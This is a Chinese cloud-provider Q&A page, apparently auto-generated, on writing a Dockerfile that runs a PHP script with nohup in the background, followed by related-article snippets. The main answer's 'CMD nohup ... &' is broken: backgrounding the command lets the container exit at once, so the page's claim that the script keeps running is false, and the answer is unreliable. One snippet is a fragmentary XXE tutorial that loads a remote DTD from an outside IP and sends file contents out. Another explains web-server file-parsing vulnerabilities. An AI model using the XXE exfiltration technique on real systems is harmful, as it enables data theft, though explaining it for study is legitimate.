首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何设置dockerfle运行nohup php test.php >myscript.log 2>&1 &

Dockerfile是用于构建Docker镜像的文本文件,其中包含了一系列的指令和配置,用于定义镜像的构建过程。在Dockerfile中,可以设置运行命令来启动容器内的应用程序。

针对给出的问题,如何设置Dockerfile运行nohup php test.php >myscript.log 2>&1 &命令,可以按照以下步骤进行设置:

  1. 创建一个文本文件,命名为Dockerfile。
  2. 在Dockerfile中,使用FROM指令选择一个基础镜像,例如FROM php:latest
  3. 使用COPY指令将test.php文件复制到镜像中的指定位置,例如COPY test.php /var/www/html/
  4. 使用WORKDIR指令设置工作目录,例如WORKDIR /var/www/html/
  5. 使用RUN指令安装所需的依赖和软件包,例如RUN apt-get update && apt-get install -y curl
  6. 使用CMD指令设置容器启动时要执行的命令,例如CMD nohup php test.php >myscript.log 2>&1 &

完成以上步骤后,保存Dockerfile文件,并在该文件所在的目录中打开终端。

使用以下命令构建Docker镜像:

代码语言:txt
复制
docker build -t my-php-app .

其中,my-php-app是镜像的名称,.表示Dockerfile所在的当前目录。

构建完成后,可以使用以下命令运行容器:

代码语言:txt
复制
docker run -d my-php-app

其中,my-php-app是镜像的名称。

这样,Docker容器将在后台运行nohup php test.php >myscript.log 2>&1 &命令,并将输出重定向到myscript.log文件中。

请注意,以上示例中的命令仅供参考,具体根据实际情况进行调整。此外,还可以根据需要添加其他的Dockerfile指令和配置,以满足应用程序的需求。

推荐的腾讯云相关产品:腾讯云容器服务(Tencent Kubernetes Engine,TKE),它是一种高度可扩展的容器管理服务,可帮助您轻松运行和管理Docker容器化应用程序。您可以通过以下链接了解更多信息: https://cloud.tencent.com/product/tke

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

让Linux关闭SSH终端后程序继续运行

但是为了能够后台运行,那么我们就可以使用nohup这个命令,比如我们有个test.php需要在后台运行,并且希望在后台能够定期运行,那么就使用nohupnohup /root/test.php &...nohup命令说明:   用途:不挂断地运行命令。   ...在注销后使用 nohup 命令运行后台中的程序。要运行后台中的 nohup 命令,添加 & ( 表示“and”的符号)到命令的尾部。   ...nohup命令及其输出文件   nohup命令:如果你正在运行一个进程,而且你觉得在退出帐户时该进程还不会结束,那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程。...除非另外指定了输出文件:(也就是说自定义输出的文件名) >nohup command > myout.file 2>&1 &   在上面的例子中,输出被重定向到myout.file文件中。

6.4K00
  • Supervisor进程守护监控

    应用场景 工作中可能要写一些cli脚本,需要后台运行,一般会用 nohup command & nohup /usr/bin/php /www/test.php >> /var/log/test.log...2>&1 & 但这样会有一些问题,不能监控进程状态,异常退出时不能自动重启,这时候 supervisor 是更好的选择 注意:像nginx, mysql, php-fpm等,还是推荐系统级的systemctl...demo.php ;命令执行的目录 directory=/var/www/demo/beanstalkd/demo0/ ;环境变量 environment=PATH="/usr/local/bin/"...;哪个用户运行 user=root ;是否自启动 autostart=true ;是否自动重启 autorestart=true ;自动重启时间间隔,单位秒 startsecs=3 ;错误日志文件 stderr_logfile...php $i = 0; while(true) { $i++; echo $i, PHP_EOL; sleep(1); } web界面 vi /etc/supervisor/supervisord.conf

    40931

    linux 定时任务crontab防止脚本运行冲突

    定时任务crontab是linux下常用的功能,可以设置一定的间隔时间执行任务,但有可能出现任务脚本运行冲突问题 例如某脚本要运行30分钟,在crontab里设为每40分钟执行一次,而比较糟的情况是可能该脚本在执行周期内没有完成...,接着第二个脚本又开始运行了 示例 做一个实验来模拟这个情况 (1)用自己熟悉的语言来写一个程序,做一个循环,例如循环180次,循环体中随意打印一些信息,然后sleep一秒,意思就是让这个程序执行...3分钟 我用php实现的,名字为 test.php2)编辑 crontab 添加一个定时任务,设置为一分钟执行一次上面的程序,我的设置为 * * * * * php /root/test.php...>> /root/test.log 因为程序循环中有打印的信息,所以指定了一个日志文件,用来方便查看程序是否运行 (3)等待一分钟,查看进程信息 # ps aux | grep test.php...如何确保只有一个脚本实例运行呢?

    3.7K100

    使用Docker快速搭建Nginx+PHP-FPM+MySQL+phpMyAdmin环境

    一、概述 环境介绍 操作系统:centos 7.6 docker版本:19.03.8 ip地址:192.168.31.34 本文将介绍如何使用单机部署Nginx+PHP-FPM环境 二、Nginx+PHP-FPM...fastcgi_param 表示php脚本运行的目录,这里的路径,是php-fpm里面的路径,不是nginx容器路径。因为nginx和php-fpm在2个不同的容器中。...09:38   0:00 ps -aux php-fpm 重启 docker exec -it  php-fpm kill -USR2 1 php 5.3.3 以后的php-fpm 不再支持 php-fpm...> 拷贝test.php到容器目录 docker cp test.php php-fpm:/var/www/html/test.php 访问页面 http://192.168.31.34/test.php...如果将php项目运行在k8s中,可以将php容器运行多个副本,nginx通过k8s的cluster ip转发到php容器。

    2.7K62

    PHP脚本指南-解析GNU C风格命令行选项

    2020年新年第一文,冲鸭~来说一下PHP脚本开发时如何去解析对应的命令行选项 获取脚本名称 我们先来说一下如何获取当前执行的脚本是什么,我们可以使用$argv来获取,$argv包含当运行于命令行下时传递给当前脚本的参数的数组...php var_dump($argv); $ php script.php array(1) { [0]=> string(10) "script.php" } 这里需要注意的是$argv可以直接在单入口文件中使用...) $ php getopt.php -e test.php array ( 'e' => 'test.php', ) $ php getopt.php -e"test.php" array (...'e' => 'test.php', ) $ php getopt.php -e=test.php array ( 'e' => 'test.php', ) $ php getopt.php...', ) 完整参数: $ php getopt.php --exec=index.php --debug --help --signal=1 array ( 'exec' => 'index.php

    1.2K70

    XXE注入漏洞

    DTD文档组成 1.元素(ELEMENT)的定义规则; 2.元素之间的关系规则; 3.属性(ATTLIST)的定义规则; 4.可使用的实体(ENTITY)或符号(NOTATION)规则。...大致分为两类: 1.一般实体(格式:& 实体引用名) 2.参数实体(格式:% 实体引用名) 其次还有内外之分,外部实体表示外部文件的内容,用 SYSTEM 关键词表示.而造成XXE的一般就是外部实体...调用DTD文件,自然是使用路径来识别的,那么我们就将路径换成其他文件的路径,比如原本设置x等于1目录下b文件里y的值,我们可以将这个路径换成2目录下的a文件,于是x就等于a文件里y的值了;然后在a文件里...ENTITY % remote SYSTEM "http://172.16.11.27/xxe/load.xml"> %remote; %send; 1.首先,运行zz.php的时候,定义load、...,再加载send实体,即运行load.xml里内置的send规则实体,加载test.php里的内容 test.php <?

    2.7K32

    安全之文件解析漏洞

    .jpg/.php 另外一种利用方法:http://www.oxen.com/evil.jpg/test.php 通过正则匹配, script_name会被设置为evil.jpg/test.php,然后传递给...php FASTcgi, php会认为script_name为evil.jpg,而test.php为path_info,然后php把evil.jpg当做一个php文件来解 修护建议: 如果厂家没有选择关闭...(php|php5)?$”形式的。 使用cgi.fix_pathinfo=0的方式,一劳永逸,或者根据自己网站的php-fastcgi设置,定制一个url屏蔽列表。...如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀 Apache将从右至左开始判断后缀...后缀解析:test.php.x1.x2.x3 经验之谈:php|php3|phtml //多可被Apache解析 0x05 lighttpd 解析漏洞 类似于最上面的Ngnix的解析漏洞;xx.jpg/

    1.5K10

    安全之文件解析漏洞

    .jpg/.php 另外一种利用方法:http://www.oxen.com/evil.jpg/test.php 通过正则匹配, script_name会被设置为evil.jpg/test.php,然后传递给...php FASTcgi, php会认为script_name为evil.jpg,而test.php为path_info,然后php把evil.jpg当做一个php文件来解 修护建议: 如果厂家没有选择关闭...(php|php5)?$”形式的。 使用cgi.fix_pathinfo=0的方式,一劳永逸,或者根据自己网站的php-fastcgi设置,定制一个url屏蔽列表。...如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀 Apache将从右至左开始判断后缀...后缀解析:test.php.x1.x2.x3 经验之谈:php|php3|phtml //多可被Apache解析 0x05 lighttpd 解析漏洞 类似于最上面的Ngnix的解析漏洞;xx.jpg

    59920
    领券